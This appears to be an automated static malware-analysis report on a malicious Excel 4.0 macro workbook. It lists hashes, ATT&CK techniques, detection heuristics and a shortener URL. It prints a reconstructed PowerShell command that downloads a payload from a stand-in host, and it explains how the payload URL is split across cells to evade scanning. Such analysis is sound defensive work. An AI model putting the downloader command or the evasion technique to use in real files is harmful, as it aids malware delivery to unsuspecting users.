Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 7e67309f229a3163…

MALICIOUS

Office (OLE) / .XLS

283.5 KB Created: 2020-11-28 13:42:19 Authoring application: Microsoft Excel
MD5: 274c828155bd0f98eb4ea7e7abef720f SHA-1: 7b9ee5fe38cfeaa399461d64a5c771881fcd0e9e SHA-256: 7e67309f229a31635ef5a84f2e54674caf3823fe394a18400fc2138f6498384a
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The Excel 4.0 macro sheet contains an Auto_Open macro that utilizes dangerous formula APIs, including the RUN function. This macro reconstructs and executes a PowerShell command to download a second-stage payload from the URL 'https://cutt.ly/5kVeyFK'. The reconstructed PowerShell command is 'powershell -w 1 (new-object Net.WebClient).DownloadFile('http://evil.tld/payload', '$env:TEMP\payload.exe')', indicating a downloader functionality.

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (1 URL) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime), across individual numeric cells (one ASCII charcode per cell), or split across multi-char fragment cells a download formula concatenates by reference (=A1&A2&… / CONCATENATE(...)). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries, LABELSST/RK/NUMBER cells, and FORMULA cell-reference concatenation in token order.
  • XLM workbook contains URL shortener medium OLE_XLM_URL_SHORTENER
    Workbook contains an Excel 4.0 macro-sheet marker and visible URL-shortener targets in the OLE bytes. This is a common XLM downloader shape even when formula recovery is incomplete.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cutt.ly/5kVeyFK
    • https://cutt.ly/5kVeyFK�

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
8028d9851d580b26361da193edc2dbf7e69cb6a8488e17de49e04452f52c2cc6		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2143 bytes

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